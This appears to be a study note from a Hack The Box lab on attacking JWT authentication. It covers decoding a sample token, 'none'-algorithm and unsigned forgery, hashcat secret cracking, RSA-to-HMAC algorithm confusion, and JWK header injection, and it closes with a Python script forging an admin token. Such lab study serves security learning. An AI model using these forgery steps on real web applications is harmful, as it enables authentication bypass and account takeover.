Example cookie. JWT contains 3 parts: header, body and signature, with each part being base64 encoded.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaHRiLXN0ZG50IiwiaXNBZG1pbiI6ZmFsc2UsImV4cCI6MTc2NjYzMjg2Nn0.U6Ch4VWz15KfJJPIJryLfWnHNV2dc5jk9OmKECKYPcc

If we base64 decode the header, this is what it looks like. alg is algorithm used to create signature, in this case, HMAC-SHA256

echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9' | base64 -d | jq
{
  "alg": "HS256",
  "typ": "JWT"
}

If we continue to decode body, this is what it looks like. It describe our session.

echo 'eyJ1c2VyIjoiaHRiLXN0ZG50IiwiaXNBZG1pbiI6ZmFsc2UsImV4cCI6MTc2NjYzMjg2Nn0' | base64 -d | jq
{
  "user": "htb-stdnt",
  "isAdmin": false,
  "exp": 1766632866
}

And the signature is just unreadable binary used to verify the body

Tools#

git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
python3 -m venv .venv
source .venv/bin/activate

see help

python3 jwt_tool.py

Missing Signature Verification#

This is extremely rare. But we can just forge a JWT on our own with any key we want. Since the webapp doesn’t care about the signature, it will just let us in

Go to CyberChef, search jwt, drag JWT Sign into recipe, enter any secret, copy-paste base64-decoded body of JWT cookie, copy the output

After this, just replace the cookie in your browser with this

None Algorithm#

JWT also supports None algorithm. So we can forge a ticket with no signing, use {"alg": "none"} in JWT header.

Even though there are no signature, we still have to leave the dot . at the end

Cracking Secret#

hashcat -m 16500 '<JWT Cookie>' /usr/share/wordlists/rockyou.txt

Then forge the cookie using CyberChef like above

Algorithm Confusion#

If webapp uses a asymmetric algorithm (have public and private key) to sign the cookie, we can confuse it by signing a cookie with a symmetric algorithm For example:

  • The webapp use RSA private key to sign the cookie.
  • We get the cookie and send it back to webapp to verify our identity.
  • The webapp use the RSA public key to verify our cookie.

That’s a normal flow, but let’s say we confuse it

  • We extract the RSA public key out of the cookie
  • We edit and sign the cookie using the RSA Public Key, but HMAC-SHA256 algorithm, which is a symmetric algorithm
  • The webapp verify the cookie using the same RSA Public Key, but this time using HMAC-SHA256 algorithm
  • Since HMAC-SHA256 is a symetric algorithm, which means there is only one key to sign and verify
  • The cookie is valid, since we sign it with the same key the webapp use to verify
  • We got in

Extract RSA Public Key#

We can use this repo to extract publickey. Fortunately they have a docker container. We build it

git clone https://github.com/silentsignal/rsa_sign2n
cd rsa_sign2n/standalone/
docker build . -t sig2n

Then run it, get a shell on the container

docker run -it sig2n /bin/bash

And extract the key. Note that we need 2 cookies for this. You just need to log out and log in twice to get 2 cookies.

python3 jwt_forgery.py <JWT RSA SIGNED COOKIE 1> <JWT RSA SIGNED COOKIE 2>

Then test the cookie the tool spits out on the webapp. If it doesn’t work(we don’t have a session), the webapp is not vulnerable

Forging Token#

The tool also spits out the RSA public key. Just cat it, go to CyberChef and forge a token like above attacks

Remember to add a newline \n at the end of public key

Exploit JWK#

JWK(JSON Web Key) is a claim in JWT header. It provides a public key to verify the token

We can exploit it by generate our own private and public key, put our public key into the JWK claim and sign using our private key

First, we generate our own key pair

openssl genpkey -algorithm RSA -out exploit_private.pem -pkeyopt rsa_keygen_bits:2048
openssl rsa -pubout -in exploit_private.pem -out exploit_public.pem

And then sign it using CyberChef or use this python script

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from jose import jwk
import jwt

# JWT Payload
jwt_payload = {'user': 'htb-stdnt', 'isAdmin': True}

# convert PEM to JWK
with open('exploit_public.pem', 'rb') as f:
    public_key_pem = f.read()
public_key = serialization.load_pem_public_key(public_key_pem, backend=default_backend())
jwk_key = jwk.construct(public_key, algorithm='RS256')
jwk_dict = jwk_key.to_dict()

# forge JWT
with open('exploit_private.pem', 'rb') as f:
    private_key_pem = f.read()
token = jwt.encode(jwt_payload, private_key_pem, algorithm='RS256', headers={'jwk': jwk_dict})

print(token)

Install dependencies

pip3 install pyjwt cryptography python-jose

Run

python3 exploit.py